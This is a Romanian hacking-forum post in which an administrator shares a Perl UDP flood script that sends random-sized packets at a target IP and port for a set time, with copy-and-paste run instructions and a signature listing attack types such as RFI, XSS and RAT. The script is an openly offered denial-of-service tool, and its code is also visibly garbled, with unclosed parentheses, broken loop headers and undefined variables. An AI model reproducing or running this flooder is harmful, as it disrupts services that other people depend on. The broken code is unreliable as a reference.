Filehost.ro - gazduire fisiere
Limit Hack's
Disclaimer: This site does not store any files on its server ! Limit Hack's - the way we see the world !
Nou pe simpatie:
lovely_pink Profile
Femeie
24 ani
Bucuresti
cauta Barbat
26 - 49 ani
Limit Hack'sInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Limit Hack's / LHS Power /

Script Perl LHS Power

Pagini: 1  
#1
McBamax
Administrator
Postari: 12
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "Ai gresit comanda... LHS Power !\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip";

printf "Flood $ip pe portu $port \n";
printf "Flood made by LHS Power !\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &";
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &";
goto randpackets;
}

packets:
for (; {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (; {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Comenzi :
perl udp.pl ip port time
ctrl + c to stop
Just Copy and Paste on pl file named udp !


_______________________________________

[SQL] - Structured Query Language
[LFI] - Local File Include
[RFI] - Remote File Include
[XSS] - Cross Site Scripting
[RCE] - Remote Code Execution
[AFD] - Arbitrary File Download
[SCD] - Source Code Disclosure
[PCI] - PHP Code Injection
[RAT]- Remote Administration Tool


 
   
Pagini: 1  
Mergi la